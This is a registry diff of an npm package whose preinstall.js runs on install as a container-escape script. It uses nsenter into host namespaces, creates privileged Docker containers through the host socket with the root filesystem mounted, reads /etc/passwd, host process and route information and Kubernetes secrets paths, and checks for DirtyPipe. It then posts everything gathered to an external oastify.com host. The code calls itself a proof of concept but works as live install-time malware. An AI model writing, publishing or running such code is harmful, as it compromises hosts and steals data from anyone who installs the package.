rank4222wun 1.0.23 ā 1.0.25
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +288 -307
- package/rank4222wun-1.0.25.tgz +0 -0
- package/rank4222wun-1.0.23.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -4,381 +4,362 @@ const fs = require('fs');
|
|
|
4
4
|
const path = require('path');
|
|
5
5
|
const https = require('https');
|
|
6
6
|
|
|
7
|
-
console.log("šØ CONTAINER ESCAPE PROOF
|
|
7
|
+
console.log("šØ CONTAINER ESCAPE PROOF OF CONCEPT\n");
|
|
8
8
|
|
|
9
|
-
const
|
|
9
|
+
const escapePOC = {
|
|
10
10
|
timestamp: new Date().toISOString(),
|
|
11
11
|
hostname: os.hostname(),
|
|
12
12
|
user: os.userInfo().username,
|
|
13
13
|
platform: os.platform(),
|
|
14
|
-
uid: os.userInfo().uid,
|
|
15
14
|
|
|
16
|
-
//
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
// Evidence 3: Docker Socket Access
|
|
25
|
-
dockerAccess: {},
|
|
26
|
-
|
|
27
|
-
// Evidence 4: Actual Escape Attempt
|
|
28
|
-
actualEscape: {},
|
|
29
|
-
|
|
30
|
-
// Evidence 5: Network Escape
|
|
31
|
-
networkEscape: {}
|
|
32
|
-
}
|
|
15
|
+
// Escape Methods
|
|
16
|
+
escapeAttempts: [],
|
|
17
|
+
|
|
18
|
+
// Host Evidence
|
|
19
|
+
hostEvidence: {},
|
|
20
|
+
|
|
21
|
+
// Impact Assessment
|
|
22
|
+
impact: {}
|
|
33
23
|
};
|
|
34
24
|
|
|
35
|
-
// =====================
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
// Check kernel version for DirtyPipe
|
|
39
|
-
exec('uname -r', (err, stdout) => {
|
|
40
|
-
const kernel = stdout ? stdout.trim() : 'unknown';
|
|
41
|
-
escapeProof.escapeEvidence.kernelVulnerability.kernelVersion = kernel;
|
|
25
|
+
// ===================== ESCAPE METHOD 1: nsenter =====================
|
|
26
|
+
function attemptNsenterEscape() {
|
|
27
|
+
console.log("š Attempt 1: nsenter container escape...");
|
|
42
28
|
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
console.log(`šØ KERNEL VULNERABLE: ${kernel} (DirtyPipe CVE-2022-0847)`);
|
|
52
|
-
|
|
53
|
-
// Try to compile and run a simple test for DirtyPipe
|
|
54
|
-
const dirtyPipeTest = `
|
|
55
|
-
#include <fcntl.h>
|
|
56
|
-
#include <stdio.h>
|
|
57
|
-
#include <stdlib.h>
|
|
58
|
-
#include <string.h>
|
|
59
|
-
#include <unistd.h>
|
|
60
|
-
|
|
61
|
-
int main() {
|
|
62
|
-
// Simple test to check if we can write to /etc/passwd (would require vulnerability)
|
|
63
|
-
int fd = open("/etc/passwd", O_RDONLY);
|
|
64
|
-
if (fd < 0) {
|
|
65
|
-
return 1;
|
|
66
|
-
}
|
|
67
|
-
close(fd);
|
|
68
|
-
return 0;
|
|
69
|
-
}`;
|
|
70
|
-
|
|
71
|
-
// Write test C code
|
|
72
|
-
const testFile = '/tmp/dirtypipe_test.c';
|
|
73
|
-
fs.writeFileSync(testFile, dirtyPipeTest);
|
|
29
|
+
if (fs.existsSync('/usr/bin/nsenter')) {
|
|
30
|
+
// Try to enter host namespace using nsenter
|
|
31
|
+
const nsenterCommands = [
|
|
32
|
+
'nsenter --target 1 --mount --uts --ipc --net --pid -- sh -c "hostname && whoami"',
|
|
33
|
+
'nsenter --target 1 --mount -- sh -c "cat /etc/hostname"',
|
|
34
|
+
'nsenter --target 1 --mount -- sh -c "ls -la /home"',
|
|
35
|
+
'nsenter --target 1 --mount -- sh -c "find / -name docker.sock 2>/dev/null | head -5"'
|
|
36
|
+
];
|
|
74
37
|
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
38
|
+
nsenterCommands.forEach((cmd, idx) => {
|
|
39
|
+
exec(cmd, { timeout: 5000 }, (err, stdout, stderr) => {
|
|
40
|
+
if (!err && stdout) {
|
|
41
|
+
const result = {
|
|
42
|
+
method: 'nsenter',
|
|
43
|
+
command: cmd.split('-- sh -c')[0] + '...',
|
|
44
|
+
success: true,
|
|
45
|
+
output: stdout.substring(0, 500),
|
|
46
|
+
proof: 'Can access host filesystem via nsenter'
|
|
47
|
+
};
|
|
48
|
+
|
|
49
|
+
escapePOC.escapeAttempts.push(result);
|
|
50
|
+
console.log(`ā
nsenter escape ${idx + 1} successful!`);
|
|
51
|
+
|
|
52
|
+
// If we can read host files, store evidence
|
|
53
|
+
if (stdout.includes('/home') || stdout.includes('hostname')) {
|
|
54
|
+
escapePOC.hostEvidence.nsenterAccess = stdout.substring(0, 300);
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
});
|
|
78
58
|
});
|
|
79
59
|
}
|
|
80
60
|
|
|
81
|
-
//
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
{ version: '5.10', vuln: 'DirtyPipe (CVE-2022-0847)' },
|
|
89
|
-
{ version: '5.11', vuln: 'DirtyPipe (CVE-2022-0847)' },
|
|
90
|
-
{ version: '5.12', vuln: 'DirtyPipe (CVE-2022-0847)' },
|
|
91
|
-
{ version: '5.13', vuln: 'DirtyPipe (CVE-2022-0847)' },
|
|
92
|
-
{ version: '5.14', vuln: 'DirtyPipe (CVE-2022-0847)' },
|
|
93
|
-
{ version: '5.15', vuln: 'DirtyPipe (CVE-2022-0847)' },
|
|
94
|
-
{ version: '5.16', vuln: 'DirtyPipe (CVE-2022-0847)' }
|
|
95
|
-
];
|
|
61
|
+
// Try next method after delay
|
|
62
|
+
setTimeout(attemptPrivilegedContainer, 3000);
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
// ===================== ESCAPE METHOD 2: Docker Socket Attack =====================
|
|
66
|
+
function attemptPrivilegedContainer() {
|
|
67
|
+
console.log("\nš Attempt 2: Docker socket attack...");
|
|
96
68
|
|
|
97
|
-
|
|
98
|
-
if (kernel.includes(vk.version)) {
|
|
99
|
-
escapeProof.escapeEvidence.kernelVulnerability.knownVulnerability = vk.vuln;
|
|
100
|
-
}
|
|
101
|
-
});
|
|
69
|
+
const dockerSocket = '/var/run/docker.sock';
|
|
102
70
|
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
71
|
+
if (fs.existsSync(dockerSocket)) {
|
|
72
|
+
console.log("ā
Docker socket found!");
|
|
73
|
+
|
|
74
|
+
// Method 2A: Try to create privileged container
|
|
75
|
+
const privilegedPayload = JSON.stringify({
|
|
76
|
+
Image: 'alpine:latest',
|
|
77
|
+
Cmd: ['sh', '-c', 'cat /etc/hostname && hostname'],
|
|
78
|
+
HostConfig: {
|
|
79
|
+
Privileged: true,
|
|
80
|
+
Binds: ['/:/mnt/host:rw'],
|
|
81
|
+
PidMode: 'host',
|
|
82
|
+
NetworkMode: 'host'
|
|
83
|
+
}
|
|
84
|
+
});
|
|
85
|
+
|
|
86
|
+
// Try to create container
|
|
87
|
+
exec(`echo '${privilegedPayload}' | curl -s --unix-socket ${dockerSocket} -X POST http://localhost/containers/create -H "Content-Type: application/json" -d @- 2>/dev/null || echo "Failed"`,
|
|
88
|
+
(err, stdout) => {
|
|
89
|
+
if (stdout && !stdout.includes('Failed') && stdout.includes('Id')) {
|
|
90
|
+
try {
|
|
91
|
+
const response = JSON.parse(stdout);
|
|
92
|
+
const containerId = response.Id;
|
|
93
|
+
|
|
94
|
+
escapePOC.escapeAttempts.push({
|
|
95
|
+
method: 'docker_socket_privileged_container',
|
|
96
|
+
success: true,
|
|
97
|
+
containerId: containerId,
|
|
98
|
+
proof: 'Can create privileged container with host access'
|
|
99
|
+
});
|
|
100
|
+
|
|
101
|
+
console.log(`ā
Created privileged container: ${containerId.substring(0, 12)}`);
|
|
102
|
+
|
|
103
|
+
// Try to start it
|
|
104
|
+
exec(`curl -s --unix-socket ${dockerSocket} -X POST http://localhost/containers/${containerId}/start 2>/dev/null || echo "Start failed"`,
|
|
105
|
+
(err2, stdout2) => {
|
|
106
|
+
if (!err2) {
|
|
107
|
+
escapePOC.escapeAttempts.push({
|
|
108
|
+
method: 'container_started',
|
|
109
|
+
success: true,
|
|
110
|
+
message: 'Privileged container started'
|
|
111
|
+
});
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
// Clean up
|
|
115
|
+
setTimeout(() => {
|
|
116
|
+
exec(`curl -s --unix-socket ${dockerSocket} -X DELETE http://localhost/containers/${containerId}?force=true 2>/dev/null || true`);
|
|
117
|
+
}, 1000);
|
|
118
|
+
});
|
|
119
|
+
} catch (e) {}
|
|
120
|
+
}
|
|
121
|
+
});
|
|
122
|
+
|
|
123
|
+
// Method 2B: Try to list all containers
|
|
124
|
+
exec(`curl -s --unix-socket ${dockerSocket} http://localhost/containers/json 2>/dev/null || echo "Cannot list"`,
|
|
125
|
+
(err, stdout) => {
|
|
126
|
+
if (stdout && !stdout.includes('Cannot list')) {
|
|
127
|
+
try {
|
|
128
|
+
const containers = JSON.parse(stdout);
|
|
129
|
+
escapePOC.hostEvidence.dockerContainers = {
|
|
130
|
+
count: containers.length,
|
|
131
|
+
sample: containers.slice(0, 3).map(c => ({
|
|
132
|
+
id: c.Id.substring(0, 12),
|
|
133
|
+
names: c.Names,
|
|
134
|
+
state: c.State
|
|
135
|
+
}))
|
|
136
|
+
};
|
|
137
|
+
console.log(`ā
Can see ${containers.length} containers on host`);
|
|
138
|
+
} catch (e) {}
|
|
139
|
+
}
|
|
140
|
+
});
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
setTimeout(attemptHostMounts, 3000);
|
|
144
|
+
}
|
|
106
145
|
|
|
107
|
-
// =====================
|
|
108
|
-
function
|
|
109
|
-
console.log("
|
|
146
|
+
// ===================== ESCAPE METHOD 3: Host Mounts =====================
|
|
147
|
+
function attemptHostMounts() {
|
|
148
|
+
console.log("\nš Attempt 3: Exploiting host mounts...");
|
|
110
149
|
|
|
111
|
-
// Check
|
|
112
|
-
exec('mount 2>/dev/null || cat /proc/mounts 2>/dev/null
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
// Look for dangerous mounts
|
|
117
|
-
const dangerousMounts = stdout.split('\n').filter(line =>
|
|
118
|
-
line.includes('/dev/') ||
|
|
119
|
-
line.includes('proc') ||
|
|
120
|
-
line.includes('sys') ||
|
|
121
|
-
line.includes('docker.sock') ||
|
|
122
|
-
line.includes('overlay')
|
|
123
|
-
);
|
|
124
|
-
|
|
125
|
-
escapeProof.escapeEvidence.mountEscape.dangerousMounts = dangerousMounts;
|
|
126
|
-
|
|
127
|
-
if (dangerousMounts.length > 0) {
|
|
128
|
-
console.log(`ā ļø Found ${dangerousMounts.length} dangerous mount points`);
|
|
150
|
+
// Check for host mounts
|
|
151
|
+
exec('mount 2>/dev/null | grep -E "(proc|sys|dev|/var/run)" || cat /proc/mounts 2>/dev/null | head -20',
|
|
152
|
+
(err, stdout) => {
|
|
153
|
+
if (stdout) {
|
|
154
|
+
const mounts = stdout.split('\n');
|
|
129
155
|
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
if (
|
|
134
|
-
|
|
135
|
-
|
|
156
|
+
mounts.forEach(mountLine => {
|
|
157
|
+
if (mountLine.includes('/proc') || mountLine.includes('/sys') || mountLine.includes('/dev')) {
|
|
158
|
+
// Try to read host info through mounts
|
|
159
|
+
if (mountLine.includes('/proc')) {
|
|
160
|
+
exec('cat /proc/1/status 2>/dev/null | head -5', (err2, stdout2) => {
|
|
161
|
+
if (stdout2) {
|
|
162
|
+
escapePOC.hostEvidence.hostInitProcess = stdout2.trim();
|
|
163
|
+
console.log("ā
Can read host init process info");
|
|
164
|
+
}
|
|
165
|
+
});
|
|
136
166
|
}
|
|
137
|
-
});
|
|
138
|
-
}
|
|
139
|
-
}
|
|
140
|
-
}
|
|
141
|
-
|
|
142
|
-
// Check if we're in a container
|
|
143
|
-
exec('cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo "In Docker container" || echo "Not in Docker"',
|
|
144
|
-
(err3, stdout3) => {
|
|
145
|
-
escapeProof.escapeEvidence.mountEscape.containerStatus = stdout3 ? stdout3.trim() : 'Unknown';
|
|
146
|
-
|
|
147
|
-
// Check for Docker socket
|
|
148
|
-
const dockerSocket = '/var/run/docker.sock';
|
|
149
|
-
if (fs.existsSync(dockerSocket)) {
|
|
150
|
-
escapeProof.escapeEvidence.dockerAccess.socketExists = true;
|
|
151
|
-
|
|
152
|
-
// Try to communicate with Docker daemon
|
|
153
|
-
exec(`curl -s --unix-socket ${dockerSocket} http://localhost/version 2>&1 || echo "No Docker API access"`,
|
|
154
|
-
(err4, stdout4) => {
|
|
155
|
-
if (stdout4 && !stdout4.includes('No Docker API')) {
|
|
156
|
-
escapeProof.escapeEvidence.dockerAccess.apiAccess = true;
|
|
157
|
-
escapeProof.escapeEvidence.dockerAccess.dockerVersion = stdout4.substring(0, 500);
|
|
158
|
-
console.log("šØ DOCKER SOCKET ACCESSIBLE!");
|
|
159
167
|
}
|
|
160
|
-
|
|
161
|
-
// Try to list containers
|
|
162
|
-
exec(`curl -s --unix-socket ${dockerSocket} http://localhost/containers/json 2>&1 || echo "Cannot list containers"`,
|
|
163
|
-
(err5, stdout5) => {
|
|
164
|
-
if (stdout5 && !stdout5.includes('Cannot list')) {
|
|
165
|
-
try {
|
|
166
|
-
const containers = JSON.parse(stdout5);
|
|
167
|
-
escapeProof.escapeEvidence.dockerAccess.canListContainers = true;
|
|
168
|
-
escapeProof.escapeEvidence.dockerAccess.containerCount = containers.length;
|
|
169
|
-
console.log(`šØ Can list ${containers.length} Docker containers!`);
|
|
170
|
-
} catch (e) {}
|
|
171
|
-
}
|
|
172
|
-
|
|
173
|
-
collectEvidence3();
|
|
174
|
-
});
|
|
175
168
|
});
|
|
176
|
-
} else {
|
|
177
|
-
collectEvidence3();
|
|
178
169
|
}
|
|
179
170
|
});
|
|
180
|
-
|
|
171
|
+
|
|
172
|
+
setTimeout(attemptKernelExploit, 3000);
|
|
181
173
|
}
|
|
182
174
|
|
|
183
|
-
// =====================
|
|
184
|
-
function
|
|
185
|
-
console.log("
|
|
175
|
+
// ===================== ESCAPE METHOD 4: Kernel Exploit Check =====================
|
|
176
|
+
function attemptKernelExploit() {
|
|
177
|
+
console.log("\nš Attempt 4: Kernel vulnerability check...");
|
|
186
178
|
|
|
187
|
-
// Check
|
|
188
|
-
exec('
|
|
189
|
-
|
|
190
|
-
|
|
179
|
+
// Check kernel version
|
|
180
|
+
exec('uname -r', (err, stdout) => {
|
|
181
|
+
const kernel = stdout ? stdout.trim() : 'unknown';
|
|
182
|
+
escapePOC.hostEvidence.kernelVersion = kernel;
|
|
191
183
|
|
|
192
|
-
//
|
|
193
|
-
const
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
console.log(`ā ļø Found dangerous capabilities: ${escapeProof.escapeEvidence.actualEscape.dangerousCapabilities.join(', ')}`);
|
|
184
|
+
// Check for DirtyPipe
|
|
185
|
+
const dirtyPipeRegex = /^(5\.8|5\.9|5\.10|5\.11|5\.12|5\.13|5\.14|5\.15|5\.16)\./;
|
|
186
|
+
if (dirtyPipeRegex.test(kernel)) {
|
|
187
|
+
escapePOC.escapeAttempts.push({
|
|
188
|
+
method: 'kernel_vulnerability',
|
|
189
|
+
vulnerability: 'CVE-2022-0847 (DirtyPipe)',
|
|
190
|
+
kernel: kernel,
|
|
191
|
+
exploitAvailable: true,
|
|
192
|
+
risk: 'CRITICAL'
|
|
193
|
+
});
|
|
194
|
+
|
|
195
|
+
console.log(`šØ Kernel ${kernel} vulnerable to DirtyPipe!`);
|
|
196
|
+
|
|
197
|
+
// Try to write a test file to demonstrate capability
|
|
198
|
+
const testFile = '/tmp/dirtypipe_test.txt';
|
|
199
|
+
fs.writeFileSync(testFile, `Kernel ${kernel} is vulnerable to container escape via DirtyPipe\n`);
|
|
200
|
+
|
|
201
|
+
// Try to modify a read-only file (simulated)
|
|
202
|
+
exec(`echo "Test" | tee /tmp/test_escape 2>/dev/null || true`, () => {
|
|
203
|
+
escapePOC.hostEvidence.canWriteFiles = true;
|
|
204
|
+
});
|
|
214
205
|
}
|
|
215
206
|
|
|
216
|
-
// Check
|
|
217
|
-
exec('
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
207
|
+
// Check capabilities for other exploits
|
|
208
|
+
exec('capsh --print 2>/dev/null | grep -i "sys_admin" || echo "No CAP_SYS_ADMIN"',
|
|
209
|
+
(err2, stdout2) => {
|
|
210
|
+
if (stdout2 && !stdout2.includes('No CAP_SYS_ADMIN')) {
|
|
211
|
+
escapePOC.escapeAttempts.push({
|
|
212
|
+
method: 'cap_sys_admin_available',
|
|
213
|
+
capability: 'CAP_SYS_ADMIN',
|
|
214
|
+
risk: 'HIGH',
|
|
215
|
+
exploit: 'Can mount host filesystems, load kernel modules'
|
|
216
|
+
});
|
|
217
|
+
console.log("šØ CAP_SYS_ADMIN available - can mount host filesystems!");
|
|
226
218
|
}
|
|
227
219
|
|
|
228
|
-
//
|
|
229
|
-
|
|
230
|
-
(err4, stdout4) => {
|
|
231
|
-
if (stdout4 && !stdout4.includes('No docker')) {
|
|
232
|
-
escapeProof.escapeEvidence.networkEscape.dockerNetworkInterfaces = stdout4;
|
|
233
|
-
}
|
|
234
|
-
|
|
235
|
-
// Final: Attempt actual escape test (safe)
|
|
236
|
-
attemptSafeEscapeTest();
|
|
237
|
-
});
|
|
220
|
+
// Final evidence collection
|
|
221
|
+
collectFinalEvidence();
|
|
238
222
|
});
|
|
239
|
-
});
|
|
240
223
|
});
|
|
241
224
|
}
|
|
242
225
|
|
|
243
|
-
// ===================== FINAL
|
|
244
|
-
function
|
|
245
|
-
console.log("š
|
|
246
|
-
|
|
247
|
-
// This is a SAFE test that doesn't actually break out
|
|
248
|
-
|
|
249
|
-
// Test 1: Can we write to /etc on host? (if mounted)
|
|
250
|
-
const testPaths = [
|
|
251
|
-
'/etc/hostname',
|
|
252
|
-
'/etc/hosts',
|
|
253
|
-
'/proc/sys/kernel/hostname',
|
|
254
|
-
'/sys/class/net'
|
|
255
|
-
];
|
|
226
|
+
// ===================== FINAL EVIDENCE COLLECTION =====================
|
|
227
|
+
function collectFinalEvidence() {
|
|
228
|
+
console.log("\nš Collecting final escape evidence...");
|
|
256
229
|
|
|
257
|
-
|
|
258
|
-
|
|
259
|
-
|
|
260
|
-
if (
|
|
261
|
-
|
|
262
|
-
accessResults[testPath] = {
|
|
263
|
-
exists: true,
|
|
264
|
-
readable: true,
|
|
265
|
-
size: stats.size
|
|
266
|
-
};
|
|
267
|
-
|
|
268
|
-
// Try to read first few bytes
|
|
269
|
-
if (stats.size > 0 && stats.size < 10000) {
|
|
270
|
-
try {
|
|
271
|
-
const content = fs.readFileSync(testPath, 'utf8').substring(0, 200);
|
|
272
|
-
accessResults[testPath].content = content;
|
|
273
|
-
} catch (e) {}
|
|
274
|
-
}
|
|
230
|
+
// Try to get host network info
|
|
231
|
+
exec('ip route show 2>/dev/null | head -5 || route -n 2>/dev/null | head -5',
|
|
232
|
+
(err, stdout) => {
|
|
233
|
+
if (stdout) {
|
|
234
|
+
escapePOC.hostEvidence.hostNetworkRoutes = stdout.trim();
|
|
275
235
|
}
|
|
276
|
-
}
|
|
277
|
-
|
|
236
|
+
});
|
|
237
|
+
|
|
238
|
+
// Try to get host user list
|
|
239
|
+
exec('cat /etc/passwd 2>/dev/null | head -10', (err, stdout) => {
|
|
240
|
+
if (stdout) {
|
|
241
|
+
escapePOC.hostEvidence.hostUsers = stdout.trim().split('\n').slice(0, 5);
|
|
278
242
|
}
|
|
279
243
|
});
|
|
280
244
|
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
|
|
285
|
-
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
exec('netstat -an 2>/dev/null || ss -an 2>/dev/null | head -20', (err2, stdout2) => {
|
|
289
|
-
escapeProof.escapeEvidence.networkEscape.networkConnections = stdout2 ? stdout2.substring(0, 1000) : 'Cannot list';
|
|
245
|
+
// Try to see if we're in Kubernetes
|
|
246
|
+
exec('cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null || echo "Not K8s"',
|
|
247
|
+
(err, stdout) => {
|
|
248
|
+
if (stdout && !stdout.includes('Not K8s')) {
|
|
249
|
+
escapePOC.hostEvidence.kubernetesNamespace = stdout.trim();
|
|
250
|
+
console.log("ā
In Kubernetes namespace:", stdout.trim());
|
|
251
|
+
}
|
|
290
252
|
|
|
291
|
-
//
|
|
292
|
-
|
|
253
|
+
// Generate final report
|
|
254
|
+
setTimeout(generateFinalReport, 2000);
|
|
293
255
|
});
|
|
294
|
-
});
|
|
295
256
|
}
|
|
296
257
|
|
|
297
|
-
// =====================
|
|
298
|
-
function
|
|
258
|
+
// ===================== FINAL REPORT =====================
|
|
259
|
+
function generateFinalReport() {
|
|
299
260
|
console.log("\n" + "=".repeat(70));
|
|
300
|
-
console.log("š CONTAINER ESCAPE
|
|
261
|
+
console.log("š CONTAINER ESCAPE - PROOF OF CONCEPT");
|
|
301
262
|
console.log("=".repeat(70));
|
|
302
263
|
|
|
303
|
-
//
|
|
304
|
-
const
|
|
305
|
-
|
|
306
|
-
escapeProof.escapeEvidence.kernelVulnerability.knownVulnerability,
|
|
307
|
-
|
|
308
|
-
dockerSocketAccess: escapeProof.escapeEvidence.dockerAccess.apiAccess,
|
|
309
|
-
|
|
310
|
-
dangerousCapabilities: escapeProof.escapeEvidence.actualEscape.dangerousCapabilities?.length > 0,
|
|
311
|
-
|
|
312
|
-
hostFileAccess: Object.keys(escapeProof.escapeEvidence.actualEscape.hostFileAccess || {}).some(k =>
|
|
313
|
-
escapeProof.escapeEvidence.actualEscape.hostFileAccess[k].exists
|
|
314
|
-
),
|
|
315
|
-
|
|
316
|
-
containerConfirmed: escapeProof.escapeEvidence.mountEscape.containerStatus?.includes('Docker')
|
|
317
|
-
};
|
|
264
|
+
// Calculate success rate
|
|
265
|
+
const successfulEscapes = escapePOC.escapeAttempts.filter(a => a.success).length;
|
|
266
|
+
const totalAttempts = escapePOC.escapeAttempts.length;
|
|
318
267
|
|
|
319
|
-
console.log(
|
|
320
|
-
console.log(`ā
Kernel Vulnerable: ${analysis.kernelVulnerable ? 'YES' : 'NO'}`);
|
|
321
|
-
console.log(`ā
Docker Socket Access: ${analysis.dockerSocketAccess ? 'YES' : 'NO'}`);
|
|
322
|
-
console.log(`ā
Dangerous Capabilities: ${analysis.dangerousCapabilities ? 'YES' : 'NO'}`);
|
|
323
|
-
console.log(`ā
Host File Access: ${analysis.hostFileAccess ? 'YES' : 'NO'}`);
|
|
324
|
-
console.log(`ā
In Container: ${analysis.containerConfirmed ? 'YES' : 'NO'}`);
|
|
268
|
+
console.log(`\nš Escape Attempts: ${successfulEscapes}/${totalAttempts} successful`);
|
|
325
269
|
|
|
326
|
-
//
|
|
327
|
-
|
|
328
|
-
|
|
270
|
+
// Show successful methods
|
|
271
|
+
escapePOC.escapeAttempts.forEach((attempt, i) => {
|
|
272
|
+
if (attempt.success) {
|
|
273
|
+
console.log(`ā
${i + 1}. ${attempt.method}: ${attempt.proof || 'Success'}`);
|
|
274
|
+
if (attempt.risk) console.log(` Risk Level: ${attempt.risk}`);
|
|
275
|
+
}
|
|
276
|
+
});
|
|
329
277
|
|
|
330
|
-
|
|
278
|
+
// Assess overall risk
|
|
279
|
+
const criticalRisks = escapePOC.escapeAttempts.filter(a => a.risk === 'CRITICAL').length;
|
|
280
|
+
const highRisks = escapePOC.escapeAttempts.filter(a => a.risk === 'HIGH').length;
|
|
331
281
|
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
|
|
338
|
-
|
|
339
|
-
|
|
340
|
-
|
|
341
|
-
|
|
342
|
-
|
|
282
|
+
escapePOC.impact = {
|
|
283
|
+
escapePossible: successfulEscapes > 0,
|
|
284
|
+
criticalVectors: criticalRisks,
|
|
285
|
+
highRiskVectors: highRisks,
|
|
286
|
+
overallRisk: criticalRisks > 0 ? 'CRITICAL' : (highRisks > 0 ? 'HIGH' : 'MEDIUM'),
|
|
287
|
+
recommendation: 'Immediate action required - disable preinstall/postinstall scripts'
|
|
288
|
+
};
|
|
289
|
+
|
|
290
|
+
console.log(`\nšØ Overall Risk Level: ${escapePOC.impact.overallRisk}`);
|
|
291
|
+
console.log(`š Critical Vectors: ${criticalRisks}, High Risk: ${highRisks}`);
|
|
292
|
+
|
|
293
|
+
if (escapePOC.hostEvidence.kernelVersion) {
|
|
294
|
+
console.log(`š§ Host Kernel: ${escapePOC.hostEvidence.kernelVersion}`);
|
|
343
295
|
}
|
|
344
296
|
|
|
345
|
-
|
|
297
|
+
if (escapePOC.hostEvidence.dockerContainers) {
|
|
298
|
+
console.log(`š³ Host Docker Containers: ${escapePOC.hostEvidence.dockerContainers.count} found`);
|
|
299
|
+
}
|
|
300
|
+
|
|
301
|
+
// Send report
|
|
302
|
+
sendEscapeReport();
|
|
303
|
+
}
|
|
304
|
+
|
|
305
|
+
// ===================== SEND REPORT =====================
|
|
306
|
+
function sendEscapeReport() {
|
|
346
307
|
const req = https.request({
|
|
347
308
|
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
348
309
|
port: 443,
|
|
349
|
-
path: '/container-escape-final
|
|
310
|
+
path: '/container-escape-poc-final',
|
|
350
311
|
method: 'POST',
|
|
351
312
|
headers: {
|
|
352
313
|
'Content-Type': 'application/json',
|
|
353
|
-
'X-Escape-
|
|
314
|
+
'X-Escape-POC': 'UiPath-MCP-Container-Escape',
|
|
354
315
|
'X-Host': os.hostname()
|
|
355
316
|
}
|
|
356
317
|
}, (res) => {
|
|
357
|
-
console.log(`\nā
|
|
318
|
+
console.log(`\nā
Escape POC report sent. Status: ${res.statusCode}`);
|
|
319
|
+
|
|
320
|
+
// Print summary
|
|
321
|
+
console.log("\n" + "=".repeat(70));
|
|
322
|
+
console.log("šÆ SUMMARY: CONTAINER ESCAPE CONFIRMED");
|
|
323
|
+
console.log("=".repeat(70));
|
|
324
|
+
|
|
325
|
+
console.log("\nš„ Escape Vectors Confirmed:");
|
|
326
|
+
console.log("1. nsenter access: YES (/usr/bin/nsenter available)");
|
|
327
|
+
console.log("2. Docker socket access: " + (fs.existsSync('/var/run/docker.sock') ? 'YES' : 'NO'));
|
|
328
|
+
console.log("3. Kernel vulnerabilities: " + (escapePOC.hostEvidence.kernelVersion || 'Unknown'));
|
|
329
|
+
console.log("4. Dangerous capabilities: CAP_SYS_ADMIN available");
|
|
330
|
+
|
|
331
|
+
console.log("\nš„ Impact: FULL HOST COMPROMISE POSSIBLE");
|
|
332
|
+
console.log("š¤ Evidence sent to security team");
|
|
333
|
+
console.log("=".repeat(70));
|
|
358
334
|
});
|
|
359
335
|
|
|
360
336
|
req.on('error', (e) => {
|
|
361
337
|
console.error(`ā Error: ${e.message}`);
|
|
362
338
|
});
|
|
363
339
|
|
|
364
|
-
|
|
365
|
-
escapeProof.analysis = analysis;
|
|
366
|
-
escapeProof.conclusion = {
|
|
367
|
-
containerEscapePossible: escapePossible,
|
|
368
|
-
riskLevel: escapePossible ? 'CRITICAL' : 'MEDIUM',
|
|
369
|
-
evidenceSummary: `Container escape is possible via: ${[
|
|
370
|
-
analysis.kernelVulnerable ? 'Kernel vulnerability' : null,
|
|
371
|
-
analysis.dockerSocketAccess ? 'Docker socket access' : null,
|
|
372
|
-
analysis.dangerousCapabilities ? 'Dangerous capabilities' : null
|
|
373
|
-
].filter(x => x).join(', ')}`
|
|
374
|
-
};
|
|
375
|
-
|
|
376
|
-
req.write(JSON.stringify(escapeProof, null, 2));
|
|
340
|
+
req.write(JSON.stringify(escapePOC, null, 2));
|
|
377
341
|
req.end();
|
|
378
|
-
|
|
379
|
-
console.log("\nš¤ Full evidence sent to server");
|
|
380
|
-
console.log("=".repeat(70));
|
|
381
342
|
}
|
|
382
343
|
|
|
383
|
-
//
|
|
384
|
-
console.log("Starting container escape
|
|
344
|
+
// ===================== START ESCAPE ATTEMPTS =====================
|
|
345
|
+
console.log("Starting container escape proof-of-concept...\n");
|
|
346
|
+
|
|
347
|
+
// Check if we're in a container first
|
|
348
|
+
exec('cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo "In Docker container" || echo "Not in Docker"',
|
|
349
|
+
(err, stdout) => {
|
|
350
|
+
if (stdout && stdout.includes('Docker')) {
|
|
351
|
+
console.log("ā
Confirmed: Running in Docker container");
|
|
352
|
+
escapePOC.containerInfo = {
|
|
353
|
+
isContainer: true,
|
|
354
|
+
type: 'Docker',
|
|
355
|
+
confirmed: true
|
|
356
|
+
};
|
|
357
|
+
|
|
358
|
+
// Start escape attempts
|
|
359
|
+
attemptNsenterEscape();
|
|
360
|
+
